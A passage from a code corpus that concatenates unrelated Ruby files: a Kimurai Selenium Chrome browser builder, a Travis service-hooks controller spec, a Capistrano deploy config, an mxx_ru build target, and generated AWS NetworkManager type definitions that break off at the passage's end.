require 'capybara' require 'selenium-webdriver' require_relative '../capybara_configuration' require_relative '../capybara_ext/selenium/driver' require_relative '../capybara_ext/session' module Kimurai::BrowserBuilder class SeleniumChromeBuilder class << self attr_accessor :virtual_display end attr_reader :logger, :spider def initialize(config, spider:) @config = config @spider = spider @logger = spider.logger end def build # Register driver Capybara.register_driver :selenium_chrome do |app| # Create driver options opts = { args: %w[--disable-gpu --no-sandbox --disable-translate] } # Provide custom chrome browser path: if chrome_path = Kimurai.configuration.selenium_chrome_path opts.merge!(binary: chrome_path) end # See all options here: https://seleniumhq.github.io/selenium/docs/api/rb/Selenium/WebDriver/Chrome/Options.html driver_options = Selenium::WebDriver::Chrome::Options.new(opts) # Window size if size = @config[:window_size].presence driver_options.args << "--window-size=#{size.join(',')}" logger.debug "BrowserBuilder (selenium_chrome): enabled window_size" end # Proxy if proxy = @config[:proxy].presence proxy_string = (proxy.class == Proc ? proxy.call : proxy).strip ip, port, type, user, password = proxy_string.split(":") if %w(http socks5).include?(type) if user.nil? && password.nil? driver_options.args << "--proxy-server=#{type}://#{ip}:#{port}" logger.debug "BrowserBuilder (selenium_chrome): enabled #{type} proxy, ip: #{ip}, port: #{port}" else logger.error "BrowserBuilder (selenium_chrome): proxy with authentication doesn't supported by selenium, skipped" end else logger.error "BrowserBuilder (selenium_chrome): wrong type of proxy: #{type}, skipped" end end if proxy_bypass_list = @config[:proxy_bypass_list].presence if proxy driver_options.args << "--proxy-bypass-list=#{proxy_bypass_list.join(';')}" logger.debug "BrowserBuilder (selenium_chrome): enabled proxy_bypass_list" else logger.error "BrowserBuilder (selenium_chrome): provide `proxy` to set proxy_bypass_list, skipped" end end # SSL if @config[:ignore_ssl_errors].present? driver_options.args << "--ignore-certificate-errors" driver_options.args << "--allow-insecure-localhost" logger.debug "BrowserBuilder (selenium_chrome): enabled ignore_ssl_errors" end # Disable images if @config[:disable_images].present? driver_options.prefs["profile.managed_default_content_settings.images"] = 2 logger.debug "BrowserBuilder (selenium_chrome): enabled disable_images" end # Headers if @config[:headers].present? logger.warn "BrowserBuilder: (selenium_chrome): custom headers doesn't supported by selenium, skipped" end if user_agent = @config[:user_agent].presence user_agent_string = (user_agent.class == Proc ? user_agent.call : user_agent).strip driver_options.args << "--user-agent='#{user_agent_string}'" logger.debug "BrowserBuilder (selenium_chrome): enabled custom user_agent" end # Headless mode if ENV["HEADLESS"] != "false" if @config[:headless_mode] == :virtual_display if Gem::Platform.local.os == "linux" unless self.class.virtual_display require 'headless' self.class.virtual_display = Headless.new(reuse: true, destroy_at_exit: false) self.class.virtual_display.start end logger.debug "BrowserBuilder (selenium_chrome): enabled virtual_display headless_mode" else logger.error "BrowserBuilder (selenium_chrome): virtual_display headless_mode works only " \ "on Linux platform. Browser will run in normal mode. Set `native` mode instead." end else driver_options.args << "--headless" logger.debug "BrowserBuilder (selenium_chrome): enabled native headless_mode" end end profile = Selenium::WebDriver::Chrome::Profile.new profile["download.prompt_for_download"] = false profile["download.directory_upgrade"] = true if download_folder = @config[:download_folder].presence profile["download.default_directory"] = download_folder end chromedriver_path = Kimurai.configuration.chromedriver_path || "/usr/local/bin/chromedriver" service = Selenium::WebDriver::Service.chrome(path: chromedriver_path) driver = Capybara::Selenium::Driver.new(app, browser: :chrome, options: driver_options, service: service, profile: profile) if download_folder = @config[:download_folder].presence driver.browser.download_path = download_folder end driver end # Create browser instance (Capybara session) @browser = Capybara::Session.new(:selenium_chrome) @browser.spider = spider logger.debug "BrowserBuilder (selenium_chrome): created browser instance" if @config[:extensions].present? logger.error "BrowserBuilder (selenium_chrome): `extensions` option not supported by Selenium, skipped" end # Cookies if cookies = @config[:cookies].presence @browser.config.cookies = cookies logger.debug "BrowserBuilder (selenium_chrome): enabled custom cookies" end # Browser instance options # skip_request_errors if skip_errors = @config[:skip_request_errors].presence @browser.config.skip_request_errors = skip_errors logger.debug "BrowserBuilder (selenium_chrome): enabled skip_request_errors" end # retry_request_errors if retry_errors = @config[:retry_request_errors].presence @browser.config.retry_request_errors = retry_errors logger.debug "BrowserBuilder (selenium_chrome): enabled retry_request_errors" end # restart_if if requests_limit = @config.dig(:restart_if, :requests_limit).presence @browser.config.restart_if[:requests_limit] = requests_limit logger.debug "BrowserBuilder (selenium_chrome): enabled restart_if.requests_limit >= #{requests_limit}" end if memory_limit = @config.dig(:restart_if, :memory_limit).presence @browser.config.restart_if[:memory_limit] = memory_limit logger.debug "BrowserBuilder (selenium_chrome): enabled restart_if.memory_limit >= #{memory_limit}" end # before_request clear_cookies if @config.dig(:before_request, :clear_cookies) @browser.config.before_request[:clear_cookies] = true logger.debug "BrowserBuilder (selenium_chrome): enabled before_request.clear_cookies" end # before_request clear_and_set_cookies if @config.dig(:before_request, :clear_and_set_cookies) if cookies = @config[:cookies].presence @browser.config.cookies = cookies @browser.config.before_request[:clear_and_set_cookies] = true logger.debug "BrowserBuilder (selenium_chrome): enabled before_request.clear_and_set_cookies" else logger.error "BrowserBuilder (selenium_chrome): cookies should be present to enable before_request.clear_and_set_cookies, skipped" end end # before_request change_user_agent if @config.dig(:before_request, :change_user_agent) logger.error "BrowserBuilder (selenium_chrome): before_request.change_user_agent option not supported by Selenium, skipped" end # before_request change_proxy if @config.dig(:before_request, :change_proxy) logger.error "BrowserBuilder (selenium_chrome): before_request.change_proxy option not supported by Selenium, skipped" end # before_request delay if delay = @config.dig(:before_request, :delay).presence @browser.config.before_request[:delay] = delay logger.debug "BrowserBuilder (selenium_chrome): enabled before_request.delay" end # encoding if encoding = @config[:encoding] @browser.config.encoding = encoding logger.debug "BrowserBuilder (selenium_chrome): enabled encoding: #{encoding}" end # return Capybara session instance @browser end end end
40.633803
140
0.6684
6251cae26ae0965642739d0be1b91371e9a4e330
2,738
require 'spec_helper' describe V1::ServiceHooksController do let(:user) { Factory(:user, :login => 'svenfuchs', :github_oauth_token => 'github_oauth_token') } let(:repository) { Factory(:repository, :owner_name => 'svenfuchs', :name => 'minimal') } let(:hooks_url) { 'repos/svenfuchs/minimal/hooks' } let(:hook_url) { "https://api.github.com/repos/svenfuchs/minimal/hooks/77103" } let(:active) { GH.load GITHUB_PAYLOADS['hook_active'] } let(:inactive) { GH.load GITHUB_PAYLOADS['hook_inactive'] } alias repo repository def update_payload(active) { :name => 'travis', :events => ServiceHook::EVENTS, :active => active, :config => { :user => user.login, :token => user.tokens.first.token, :domain => 'staging.travis-ci.org' } } end before :each do Travis.config.stubs(:service_hook_url).returns('staging.travis-ci.org') GH.stubs(:[]).with(hooks_url).returns([]) user.permissions.create!(:repository => repo, :user => user, :admin => true) sign_in_user user end describe 'GET :index' do it 'should return repositories of current user' do get(:index, :format => 'json') response.should be_success result = json_response result.first['name'].should == repo.name result.first['owner_name'].should == repo.owner_name end end describe 'PUT :update' do before(:each) do stub_request(:post, 'https://api.github.com/hub').to_return(:body => '[]') end context 'subscribes to a service hook' do it 'creates a repository if it does not exist' do GH.expects(:post).with(hooks_url, update_payload(true)).returns(active) put :update, :id => 'svenfuchs:minimal', :name => 'minimal', :owner_name => 'svenfuchs', :active => 'true' Repository.count.should == 1 Repository.first.active?.should be_true end it 'updates an existing repository if it exists' do GH.stubs(:[]).with(hooks_url).returns([inactive]) GH.expects(:patch).with(hook_url, update_payload(true)).returns(active) put :update, :id => 'svenfuchs:minimal', :name => 'minimal', :owner_name => 'svenfuchs', :active => 'true' Repository.count.should == 1 Repository.first.active?.should be_true end end context 'unsubscribes from the service hook' do it 'updates an existing repository' do GH.stubs(:[]).with(hooks_url).returns([active]) GH.expects(:patch).with(hook_url, update_payload(false)).returns(inactive) put :update, :id => 'svenfuchs:minimal', :name => 'minimal', :owner_name => 'svenfuchs', :active => 'false' Repository.first.active?.should be_false end end end end
35.558442
115
0.643535
331a0f1812b61821bf2c1977f30724459af9952e
2,774
# config valid only for current version of Capistrano lock '3.4.0' set :application, 'ctgov' set :repo_url, '[email protected]:tibbs001/ctgov.git' # Edit this to match your repository set :branch, :development set :deploy_to, '/home/deploy/ctgov' set :pty, true set :linked_files, %w{config/database.yml config/application.yml} set :linked_dirs, %w{bin log tmp/pids tmp/cache tmp/sockets vendor/bundle public/system public/uploads} set :keep_releases, 5 set :rvm_type, :user set :rvm_ruby_version, 'ruby-2.1.4' # Edit this if you are using MRI Ruby set :bundle_path, nil set :bundle_binstubs, nil set :bundle_flags, '--system' set :default_env, { 'rvmsudo_secure_path' => '0' } set :passenger_restart_with_sudo, false # default set :use_sudo, false #set :default_run_options[:pty] = true #set :passenger_restart_command, '-i passenger-config restart-app' #---------------------------- set :passenger_restart_command, 'passenger start' set :passenger_restart_options, -> { "#{deploy_to}/current" } set :puma_rackup, -> { File.join(current_path, 'config.ru') } set :puma_state, "#{shared_path}/tmp/pids/puma.state" set :puma_pid, "#{shared_path}/tmp/pids/puma.pid" set :puma_bind, "unix://#{shared_path}/tmp/sockets/puma.sock" #accept array for multi-bind set :puma_conf, "#{shared_path}/puma.rb" set :puma_access_log, "#{shared_path}/log/puma_error.log" set :puma_error_log, "#{shared_path}/log/puma_access.log" set :puma_role, :app set :puma_env, fetch(:rack_env, fetch(:rails_env, 'production')) set :puma_threads, [0, 8] set :puma_workers, 0 set :puma_worker_timeout, nil set :puma_init_active_record, true set :puma_preload_app, false # Default branch is :master # ask :branch, `git rev-parse --abbrev-ref HEAD`.chomp # Default deploy_to directory is /var/www/my_app_name # set :deploy_to, '/var/www/my_app_name' # Default value for :scm is :git # set :scm, :git # Default value for :format is :pretty # set :format, :pretty # Default value for :log_level is :debug set :log_level, :debug # Default value for :pty is false # set :pty, true # Default value for :linked_files is [] # set :linked_files, fetch(:linked_files, []).push('config/database.yml', 'config/secrets.yml') # Default value for linked_dirs is [] # set :linked_dirs, fetch(:linked_dirs, []).push('log', 'tmp/pids', 'tmp/cache', 'tmp/sockets', 'vendor/bundle', 'public/system') # Default value for default_env is {} # set :default_env, { path: "/opt/ruby/bin:$PATH" } # Default value for keep_releases is 5 # set :keep_releases, 5 namespace :deploy do after :restart, :clear_cache do on roles(:web), in: :groups, limit: 3, wait: 10 do # Here we can do anything such as: # within release_path do # execute :rake, 'cache:clear' # end end end end
33.02381
129
0.713771
624bf4c974e1498322bb8920bc6b405ef3872f85
165
require 'mxx_ru/cpp' MxxRu::Cpp::exe_target { required_prj 'so_5/prj_s.rb' target 'sample.so_5_extra.enveloped_msg.delivery_receipt_s' cpp_source 'main.cpp' }
16.5
60
0.769697
1d6bce98b392148c13badb0f59082342c546556a
57,480
# WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE module Aws::NetworkManager module Types # You do not have sufficient access to perform this action. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/AccessDeniedException AWS API Documentation # class AccessDeniedException < Struct.new( :message) include Aws::Structure end # @note When making an API call, you may pass AssociateCustomerGatewayRequest # data as a hash: # # { # customer_gateway_arn: "String", # required # global_network_id: "String", # required # device_id: "String", # required # link_id: "String", # } # # @!attribute [rw] customer_gateway_arn # The Amazon Resource Name (ARN) of the customer gateway. For more # information, see [Resources Defined by Amazon EC2][1]. # # # # [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/list_amazonec2.html#amazonec2-resources-for-iam-policies # @return [String] # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] device_id # The ID of the device. # @return [String] # # @!attribute [rw] link_id # The ID of the link. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/AssociateCustomerGatewayRequest AWS API Documentation # class AssociateCustomerGatewayRequest < Struct.new( :customer_gateway_arn, :global_network_id, :device_id, :link_id) include Aws::Structure end # @!attribute [rw] customer_gateway_association # The customer gateway association. # @return [Types::CustomerGatewayAssociation] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/AssociateCustomerGatewayResponse AWS API Documentation # class AssociateCustomerGatewayResponse < Struct.new( :customer_gateway_association) include Aws::Structure end # @note When making an API call, you may pass AssociateLinkRequest # data as a hash: # # { # global_network_id: "String", # required # device_id: "String", # required # link_id: "String", # required # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] device_id # The ID of the device. # @return [String] # # @!attribute [rw] link_id # The ID of the link. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/AssociateLinkRequest AWS API Documentation # class AssociateLinkRequest < Struct.new( :global_network_id, :device_id, :link_id) include Aws::Structure end # @!attribute [rw] link_association # The link association. # @return [Types::LinkAssociation] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/AssociateLinkResponse AWS API Documentation # class AssociateLinkResponse < Struct.new( :link_association) include Aws::Structure end # Describes bandwidth information. # # @note When making an API call, you may pass Bandwidth # data as a hash: # # { # upload_speed: 1, # download_speed: 1, # } # # @!attribute [rw] upload_speed # Upload speed in Mbps. # @return [Integer] # # @!attribute [rw] download_speed # Download speed in Mbps. # @return [Integer] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/Bandwidth AWS API Documentation # class Bandwidth < Struct.new( :upload_speed, :download_speed) include Aws::Structure end # There was a conflict processing the request. Updating or deleting the # resource can cause an inconsistent state. # # @!attribute [rw] message # @return [String] # # @!attribute [rw] resource_id # The ID of the resource. # @return [String] # # @!attribute [rw] resource_type # The resource type. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/ConflictException AWS API Documentation # class ConflictException < Struct.new( :message, :resource_id, :resource_type) include Aws::Structure end # @note When making an API call, you may pass CreateDeviceRequest # data as a hash: # # { # global_network_id: "String", # required # description: "String", # type: "String", # vendor: "String", # model: "String", # serial_number: "String", # location: { # address: "String", # latitude: "String", # longitude: "String", # }, # site_id: "String", # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] description # A description of the device. # # Length Constraints: Maximum length of 256 characters. # @return [String] # # @!attribute [rw] type # The type of the device. # @return [String] # # @!attribute [rw] vendor # The vendor of the device. # # Length Constraints: Maximum length of 128 characters. # @return [String] # # @!attribute [rw] model # The model of the device. # # Length Constraints: Maximum length of 128 characters. # @return [String] # # @!attribute [rw] serial_number # The serial number of the device. # # Length Constraints: Maximum length of 128 characters. # @return [String] # # @!attribute [rw] location # The location of the device. # @return [Types::Location] # # @!attribute [rw] site_id # The ID of the site. # @return [String] # # @!attribute [rw] tags # The tags to apply to the resource during creation. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/CreateDeviceRequest AWS API Documentation # class CreateDeviceRequest < Struct.new( :global_network_id, :description, :type, :vendor, :model, :serial_number, :location, :site_id, :tags) include Aws::Structure end # @!attribute [rw] device # Information about the device. # @return [Types::Device] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/CreateDeviceResponse AWS API Documentation # class CreateDeviceResponse < Struct.new( :device) include Aws::Structure end # @note When making an API call, you may pass CreateGlobalNetworkRequest # data as a hash: # # { # description: "String", # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] description # A description of the global network. # # Length Constraints: Maximum length of 256 characters. # @return [String] # # @!attribute [rw] tags # The tags to apply to the resource during creation. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/CreateGlobalNetworkRequest AWS API Documentation # class CreateGlobalNetworkRequest < Struct.new( :description, :tags) include Aws::Structure end # @!attribute [rw] global_network # Information about the global network object. # @return [Types::GlobalNetwork] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/CreateGlobalNetworkResponse AWS API Documentation # class CreateGlobalNetworkResponse < Struct.new( :global_network) include Aws::Structure end # @note When making an API call, you may pass CreateLinkRequest # data as a hash: # # { # global_network_id: "String", # required # description: "String", # type: "String", # bandwidth: { # required # upload_speed: 1, # download_speed: 1, # }, # provider: "String", # site_id: "String", # required # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] description # A description of the link. # # Length Constraints: Maximum length of 256 characters. # @return [String] # # @!attribute [rw] type # The type of the link. # # Constraints: Cannot include the following characters: \| \\ ^ # # Length Constraints: Maximum length of 128 characters. # @return [String] # # @!attribute [rw] bandwidth # The upload speed and download speed in Mbps. # @return [Types::Bandwidth] # # @!attribute [rw] provider # The provider of the link. # # Constraints: Cannot include the following characters: \| \\ ^ # # Length Constraints: Maximum length of 128 characters. # @return [String] # # @!attribute [rw] site_id # The ID of the site. # @return [String] # # @!attribute [rw] tags # The tags to apply to the resource during creation. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/CreateLinkRequest AWS API Documentation # class CreateLinkRequest < Struct.new( :global_network_id, :description, :type, :bandwidth, :provider, :site_id, :tags) include Aws::Structure end # @!attribute [rw] link # Information about the link. # @return [Types::Link] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/CreateLinkResponse AWS API Documentation # class CreateLinkResponse < Struct.new( :link) include Aws::Structure end # @note When making an API call, you may pass CreateSiteRequest # data as a hash: # # { # global_network_id: "String", # required # description: "String", # location: { # address: "String", # latitude: "String", # longitude: "String", # }, # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] description # A description of your site. # # Length Constraints: Maximum length of 256 characters. # @return [String] # # @!attribute [rw] location # The site location. This information is used for visualization in the # Network Manager console. If you specify the address, the latitude # and longitude are automatically calculated. # # * `Address`\: The physical address of the site. # # * `Latitude`\: The latitude of the site. # # * `Longitude`\: The longitude of the site. # @return [Types::Location] # # @!attribute [rw] tags # The tags to apply to the resource during creation. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/CreateSiteRequest AWS API Documentation # class CreateSiteRequest < Struct.new( :global_network_id, :description, :location, :tags) include Aws::Structure end # @!attribute [rw] site # Information about the site. # @return [Types::Site] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/CreateSiteResponse AWS API Documentation # class CreateSiteResponse < Struct.new( :site) include Aws::Structure end # Describes the association between a customer gateway, a device, and a # link. # # @!attribute [rw] customer_gateway_arn # The Amazon Resource Name (ARN) of the customer gateway. # @return [String] # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] device_id # The ID of the device. # @return [String] # # @!attribute [rw] link_id # The ID of the link. # @return [String] # # @!attribute [rw] state # The association state. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/CustomerGatewayAssociation AWS API Documentation # class CustomerGatewayAssociation < Struct.new( :customer_gateway_arn, :global_network_id, :device_id, :link_id, :state) include Aws::Structure end # @note When making an API call, you may pass DeleteDeviceRequest # data as a hash: # # { # global_network_id: "String", # required # device_id: "String", # required # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] device_id # The ID of the device. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DeleteDeviceRequest AWS API Documentation # class DeleteDeviceRequest < Struct.new( :global_network_id, :device_id) include Aws::Structure end # @!attribute [rw] device # Information about the device. # @return [Types::Device] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DeleteDeviceResponse AWS API Documentation # class DeleteDeviceResponse < Struct.new( :device) include Aws::Structure end # @note When making an API call, you may pass DeleteGlobalNetworkRequest # data as a hash: # # { # global_network_id: "String", # required # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DeleteGlobalNetworkRequest AWS API Documentation # class DeleteGlobalNetworkRequest < Struct.new( :global_network_id) include Aws::Structure end # @!attribute [rw] global_network # Information about the global network. # @return [Types::GlobalNetwork] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DeleteGlobalNetworkResponse AWS API Documentation # class DeleteGlobalNetworkResponse < Struct.new( :global_network) include Aws::Structure end # @note When making an API call, you may pass DeleteLinkRequest # data as a hash: # # { # global_network_id: "String", # required # link_id: "String", # required # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] link_id # The ID of the link. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DeleteLinkRequest AWS API Documentation # class DeleteLinkRequest < Struct.new( :global_network_id, :link_id) include Aws::Structure end # @!attribute [rw] link # Information about the link. # @return [Types::Link] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DeleteLinkResponse AWS API Documentation # class DeleteLinkResponse < Struct.new( :link) include Aws::Structure end # @note When making an API call, you may pass DeleteSiteRequest # data as a hash: # # { # global_network_id: "String", # required # site_id: "String", # required # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] site_id # The ID of the site. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DeleteSiteRequest AWS API Documentation # class DeleteSiteRequest < Struct.new( :global_network_id, :site_id) include Aws::Structure end # @!attribute [rw] site # Information about the site. # @return [Types::Site] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DeleteSiteResponse AWS API Documentation # class DeleteSiteResponse < Struct.new( :site) include Aws::Structure end # @note When making an API call, you may pass DeregisterTransitGatewayRequest # data as a hash: # # { # global_network_id: "String", # required # transit_gateway_arn: "String", # required # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] transit_gateway_arn # The Amazon Resource Name (ARN) of the transit gateway. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DeregisterTransitGatewayRequest AWS API Documentation # class DeregisterTransitGatewayRequest < Struct.new( :global_network_id, :transit_gateway_arn) include Aws::Structure end # @!attribute [rw] transit_gateway_registration # The transit gateway registration information. # @return [Types::TransitGatewayRegistration] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DeregisterTransitGatewayResponse AWS API Documentation # class DeregisterTransitGatewayResponse < Struct.new( :transit_gateway_registration) include Aws::Structure end # @note When making an API call, you may pass DescribeGlobalNetworksRequest # data as a hash: # # { # global_network_ids: ["String"], # max_results: 1, # next_token: "String", # } # # @!attribute [rw] global_network_ids # The IDs of one or more global networks. The maximum is 10. # @return [Array<String>] # # @!attribute [rw] max_results # The maximum number of results to return. # @return [Integer] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DescribeGlobalNetworksRequest AWS API Documentation # class DescribeGlobalNetworksRequest < Struct.new( :global_network_ids, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] global_networks # Information about the global networks. # @return [Array<Types::GlobalNetwork>] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DescribeGlobalNetworksResponse AWS API Documentation # class DescribeGlobalNetworksResponse < Struct.new( :global_networks, :next_token) include Aws::Structure end # Describes a device. # # @!attribute [rw] device_id # The ID of the device. # @return [String] # # @!attribute [rw] device_arn # The Amazon Resource Name (ARN) of the device. # @return [String] # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] description # The description of the device. # @return [String] # # @!attribute [rw] type # The device type. # @return [String] # # @!attribute [rw] vendor # The device vendor. # @return [String] # # @!attribute [rw] model # The device model. # @return [String] # # @!attribute [rw] serial_number # The device serial number. # @return [String] # # @!attribute [rw] location # The site location. # @return [Types::Location] # # @!attribute [rw] site_id # The site ID. # @return [String] # # @!attribute [rw] created_at # The date and time that the site was created. # @return [Time] # # @!attribute [rw] state # The device state. # @return [String] # # @!attribute [rw] tags # The tags for the device. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/Device AWS API Documentation # class Device < Struct.new( :device_id, :device_arn, :global_network_id, :description, :type, :vendor, :model, :serial_number, :location, :site_id, :created_at, :state, :tags) include Aws::Structure end # @note When making an API call, you may pass DisassociateCustomerGatewayRequest # data as a hash: # # { # global_network_id: "String", # required # customer_gateway_arn: "String", # required # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] customer_gateway_arn # The Amazon Resource Name (ARN) of the customer gateway. For more # information, see [Resources Defined by Amazon EC2][1]. # # # # [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/list_amazonec2.html#amazonec2-resources-for-iam-policies # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DisassociateCustomerGatewayRequest AWS API Documentation # class DisassociateCustomerGatewayRequest < Struct.new( :global_network_id, :customer_gateway_arn) include Aws::Structure end # @!attribute [rw] customer_gateway_association # Information about the customer gateway association. # @return [Types::CustomerGatewayAssociation] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DisassociateCustomerGatewayResponse AWS API Documentation # class DisassociateCustomerGatewayResponse < Struct.new( :customer_gateway_association) include Aws::Structure end # @note When making an API call, you may pass DisassociateLinkRequest # data as a hash: # # { # global_network_id: "String", # required # device_id: "String", # required # link_id: "String", # required # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] device_id # The ID of the device. # @return [String] # # @!attribute [rw] link_id # The ID of the link. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DisassociateLinkRequest AWS API Documentation # class DisassociateLinkRequest < Struct.new( :global_network_id, :device_id, :link_id) include Aws::Structure end # @!attribute [rw] link_association # Information about the link association. # @return [Types::LinkAssociation] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/DisassociateLinkResponse AWS API Documentation # class DisassociateLinkResponse < Struct.new( :link_association) include Aws::Structure end # @note When making an API call, you may pass GetCustomerGatewayAssociationsRequest # data as a hash: # # { # global_network_id: "String", # required # customer_gateway_arns: ["String"], # max_results: 1, # next_token: "String", # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] customer_gateway_arns # One or more customer gateway Amazon Resource Names (ARNs). For more # information, see [Resources Defined by Amazon EC2][1]. The maximum # is 10. # # # # [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/list_amazonec2.html#amazonec2-resources-for-iam-policies # @return [Array<String>] # # @!attribute [rw] max_results # The maximum number of results to return. # @return [Integer] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetCustomerGatewayAssociationsRequest AWS API Documentation # class GetCustomerGatewayAssociationsRequest < Struct.new( :global_network_id, :customer_gateway_arns, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] customer_gateway_associations # The customer gateway associations. # @return [Array<Types::CustomerGatewayAssociation>] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetCustomerGatewayAssociationsResponse AWS API Documentation # class GetCustomerGatewayAssociationsResponse < Struct.new( :customer_gateway_associations, :next_token) include Aws::Structure end # @note When making an API call, you may pass GetDevicesRequest # data as a hash: # # { # global_network_id: "String", # required # device_ids: ["String"], # site_id: "String", # max_results: 1, # next_token: "String", # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] device_ids # One or more device IDs. The maximum is 10. # @return [Array<String>] # # @!attribute [rw] site_id # The ID of the site. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return. # @return [Integer] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetDevicesRequest AWS API Documentation # class GetDevicesRequest < Struct.new( :global_network_id, :device_ids, :site_id, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] devices # The devices. # @return [Array<Types::Device>] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetDevicesResponse AWS API Documentation # class GetDevicesResponse < Struct.new( :devices, :next_token) include Aws::Structure end # @note When making an API call, you may pass GetLinkAssociationsRequest # data as a hash: # # { # global_network_id: "String", # required # device_id: "String", # link_id: "String", # max_results: 1, # next_token: "String", # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] device_id # The ID of the device. # @return [String] # # @!attribute [rw] link_id # The ID of the link. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return. # @return [Integer] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetLinkAssociationsRequest AWS API Documentation # class GetLinkAssociationsRequest < Struct.new( :global_network_id, :device_id, :link_id, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] link_associations # The link associations. # @return [Array<Types::LinkAssociation>] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetLinkAssociationsResponse AWS API Documentation # class GetLinkAssociationsResponse < Struct.new( :link_associations, :next_token) include Aws::Structure end # @note When making an API call, you may pass GetLinksRequest # data as a hash: # # { # global_network_id: "String", # 